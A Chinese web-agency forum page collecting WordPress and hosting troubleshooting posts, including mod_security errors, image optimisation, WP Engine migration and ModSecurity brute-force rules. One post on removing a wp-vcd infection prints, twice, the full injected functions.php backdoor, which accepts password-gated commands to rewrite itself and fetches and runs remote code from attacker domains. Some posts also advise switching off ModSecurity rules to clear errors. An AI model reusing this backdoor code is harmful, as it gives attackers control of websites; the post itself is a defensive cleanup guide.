Shopify Free Trial Apply
Shopify 60天试用
Shopify 14天试用
WordPress

WordPress

WordPress建站及WordPress SEO相关话题
Shopify

Shopify

Shopify建站及Shopify SEO相关话题
Google SEO

Google SEO

Google SEO相关话题
SEM

SEM

SEM相关话题
SNS 社媒营销

SNS 社媒营销

讨论SNS社交媒体营销话题
Zoho

Zoho

Zoho SAAS相关产品使用话题讨论
EDM

EDM

讨论Email Marketing相关话题
隽永东方售后服务

隽永东方售后服务

隽永东方售后服务专区

WordPress疑难杂症之后台控制台503、500 error等

Leo 发表了文章 • 1 个评论 • 705 次浏览 • 2019-01-15 16:57 • 来自相关话题

此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:




4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  

trust the process​






 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)




查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,








这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。





 

  查看全部
此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
1.png

4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  


trust the process​



2.png

 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
3.png

查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
4.png

5.png

这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。

6.png

 

 

针对隽永东方建站客户产品添加,资料整理建议

Leo 发表了文章 • 1 个评论 • 782 次浏览 • 2019-01-10 14:30 • 来自相关话题

产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。










 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。

1.png


2.png

 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理!

Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”

Leo 发表了文章 • 1 个评论 • 624 次浏览 • 2019-01-07 11:37 • 来自相关话题

使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)





注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)

1.png

注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

Leo 发表了文章 • 1 个评论 • 1063 次浏览 • 2018-12-20 16:15 • 来自相关话题

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。

关于WP Engine空间

Leo 发表了文章 • 1 个评论 • 744 次浏览 • 2018-12-10 10:56 • 来自相关话题

细心的朋友可能会发现,其实WP正是WordPress的简称,这也就意味着WP Engine与其他美国主机商是不一样的,因为WP Engine只提供WordPress主机产品。
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)




2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
 
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。 查看全部
细心的朋友可能会发现,其实WP正是WordPress的简称,这也就意味着WP Engine与其他美国主机商是不一样的,因为WP Engine只提供WordPress主机产品。
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)
1.png

2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
 
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。

关于升级wordpress5.0遇到的坑

chad 发表了文章 • 1 个评论 • 844 次浏览 • 2018-12-08 14:25 • 来自相关话题

做项目登录后台,哇塞,wordpress5.0发布更新,请及时更新。果断点了,不能忍,顺带带着体验新界面,学习新技术的想法。话说,更新一时爽,随之而来的bug确是蛋疼的一批。
首页我看到了一个巨丑的编辑器Gutenberg,方便以区块的形式构建页面,尼玛,这不坑爹吗?像我这种专业的老司机,让我用这玩意,而且最尼玛无语的是这玩意真的巨丑无比。具体丑到什么程度,废话不多说,上图为敬:
标题那么大,空白那么多,你这也太随意了点。
不管那么多,继续构建我的网站,等等,尼玛我的大神器Wpbakery去哪里了,旧的postType里到还能看到,可是新创建的分类,完全不见了神器的踪迹。没了这玩意,就仿佛掏空了我的心,这尼玛不是扯淡吗?果断打开Wpbakery设计界面,一切正常,隐藏自带编辑器功能开启,再次打开新创建的分类。嗯?尼玛出现了,但好像是给人家当了小弟,5.0自带的巨丑编辑器在上面,我滴大神器就生生的跟在它的下面。尼玛,不管了,还是继续工作重要,当我好不容易将页面元素填充到我的大神器中,点击保存。再次刷新,叮叮叮,尼玛大神器内一片空白。俨然从大神器变成了一块废铁,凑不要脸额gutenberg,尼玛这是斩草除根那。真是不能忍,还是乖乖将wordpress版本降低到4.9.8吧,我真是嫌弃古藤,打心底厌恶。找谷哥大大要资源的时候偶然看到,安装“Classic Editor plugin ”插件,可切换回原来的TinyMCE编辑器。尼玛,仿佛看到亲妈一样,这插件作者仿佛拯救了我滴小命,果断下载装之。我的大神器又回来了,来来感受下颜值:




完美!
  查看全部
做项目登录后台,哇塞,wordpress5.0发布更新,请及时更新。果断点了,不能忍,顺带带着体验新界面,学习新技术的想法。话说,更新一时爽,随之而来的bug确是蛋疼的一批。
首页我看到了一个巨丑的编辑器Gutenberg,方便以区块的形式构建页面,尼玛,这不坑爹吗?像我这种专业的老司机,让我用这玩意,而且最尼玛无语的是这玩意真的巨丑无比。具体丑到什么程度,废话不多说,上图为敬:
标题那么大,空白那么多,你这也太随意了点。
不管那么多,继续构建我的网站,等等,尼玛我的大神器Wpbakery去哪里了,旧的postType里到还能看到,可是新创建的分类,完全不见了神器的踪迹。没了这玩意,就仿佛掏空了我的心,这尼玛不是扯淡吗?果断打开Wpbakery设计界面,一切正常,隐藏自带编辑器功能开启,再次打开新创建的分类。嗯?尼玛出现了,但好像是给人家当了小弟,5.0自带的巨丑编辑器在上面,我滴大神器就生生的跟在它的下面。尼玛,不管了,还是继续工作重要,当我好不容易将页面元素填充到我的大神器中,点击保存。再次刷新,叮叮叮,尼玛大神器内一片空白。俨然从大神器变成了一块废铁,凑不要脸额gutenberg,尼玛这是斩草除根那。真是不能忍,还是乖乖将wordpress版本降低到4.9.8吧,我真是嫌弃古藤,打心底厌恶。找谷哥大大要资源的时候偶然看到,安装“Classic Editor plugin ”插件,可切换回原来的TinyMCE编辑器。尼玛,仿佛看到亲妈一样,这插件作者仿佛拯救了我滴小命,果断下载装之。我的大神器又回来了,来来感受下颜值:
log.png

完美!
 

zoho salesiq设置时候的一个注意点,设置错误会导致网站报错,影响加载

Leo 发表了文章 • 1 个评论 • 588 次浏览 • 2018-12-05 09:14 • 来自相关话题

上图这个报错,就是因为在salesiq设置的时候,开启了公司logo功能,而并没有上传logo,这个要注意,发现不少用了salesiq的网站都有这个报错。
下图为其中一处关闭logo按钮的地方,总共有两处设置logo的地方,一个是浮动框,一个是内容框





  查看全部

4.png

上图这个报错,就是因为在salesiq设置的时候,开启了公司logo功能,而并没有上传logo,这个要注意,发现不少用了salesiq的网站都有这个报错。
下图为其中一处关闭logo按钮的地方,总共有两处设置logo的地方,一个是浮动框,一个是内容框
3.png


 

隽永东方教您如何通过设置WHM下的ModSecurity™ Tools来应对WordPress暴力登陆

East_Digi_Marketing 发表了文章 • 0 个评论 • 720 次浏览 • 2018-12-02 11:47 • 来自相关话题

最新备注:有发现用此教程方法开启安全设定以后,WordPress正常登录也被挡掉了,后来研究发现是其中  949110: Inbound Anomaly Score Exceeded  这条规则挡掉的,我们尝试把ID号为949110的规则关闭掉,WordPress就可以正常登录后台了。

近期美国服务器频繁发现有大量的wp-login.php进程消耗服务器资源,经过简单分析发现类似的进程都是暴力登陆WP网站的垃圾进程,手工挨个关闭效率极低,根本无济于事,于是设想通过某些服务器的过滤规则来应对类似的CC攻击。
 
经过一段时间的研究得出如下方法,能最大程度的应对类似的暴力攻击。
 
登陆WHM后台,点击左侧的 Security Center » ModSecurity™ Tools » Edit Custom Rules 如下图:
 















 
第三张图所示的地方插入代码:SecUploadDir /tmp
SecTmpDir /tmp
SecDataDir /tmp
SecRequestBodyAccess On
SecAction phase:1,nolog,pass,initcol:ip=%{REMOTE_ADDR},initcol:user=%{REMOTE_ADDR},id:5000134
<Locationmatch "/wp-login.php">
# Setup brute force detection.
# React if block flag has been set.
SecRule user:bf_block "@gt 0" "deny,status:401,log,id:5000135,msg:'ip address blocked for 5 minutes, more than 10 login attempts in 3 minutes.'"
# Setup Tracking. On a successful login, a 302 redirect is performed, a 200 indicates login failed.
SecRule RESPONSE_STATUS "^302" "phase:5,t:none,nolog,pass,setvar:ip.bf_counter=0,id:5000136"
SecRule RESPONSE_STATUS "^200" "phase:5,chain,t:none,nolog,pass,setvar:ip.bf_counter=+1,deprecatevar:ip.bf_counter=1/180,id:5000137"
SecRule ip:bf_counter "@gt 10" "t:none,setvar:user.bf_block=1,expirevar:user.bf_block=300,setvar:ip.bf_counter=0"
</locationmatch>
ErrorDocument 401 default点击保存。
至此,您会发现,进程里边所有wp-login.php的进程都消失了,服务器负载也急速下降,问题fix了。 查看全部


最新备注:有发现用此教程方法开启安全设定以后,WordPress正常登录也被挡掉了,后来研究发现是其中  949110: Inbound Anomaly Score Exceeded  这条规则挡掉的,我们尝试把ID号为949110的规则关闭掉,WordPress就可以正常登录后台了。


近期美国服务器频繁发现有大量的wp-login.php进程消耗服务器资源,经过简单分析发现类似的进程都是暴力登陆WP网站的垃圾进程,手工挨个关闭效率极低,根本无济于事,于是设想通过某些服务器的过滤规则来应对类似的CC攻击。
 
经过一段时间的研究得出如下方法,能最大程度的应对类似的暴力攻击。
 
登陆WHM后台,点击左侧的 Security Center » ModSecurity™ Tools » Edit Custom Rules 如下图:
 

F1C1EE0FA511EA6D0853298A186BD8E9.png


C3B6C03D33B336A96E26485D0883B815.png


57EACD4C-262F-45D1-8BA9-C181A9AE9708.png

 
第三张图所示的地方插入代码:
SecUploadDir /tmp
SecTmpDir /tmp
SecDataDir /tmp
SecRequestBodyAccess On
SecAction phase:1,nolog,pass,initcol:ip=%{REMOTE_ADDR},initcol:user=%{REMOTE_ADDR},id:5000134
<Locationmatch "/wp-login.php">
# Setup brute force detection.
# React if block flag has been set.
SecRule user:bf_block "@gt 0" "deny,status:401,log,id:5000135,msg:'ip address blocked for 5 minutes, more than 10 login attempts in 3 minutes.'"
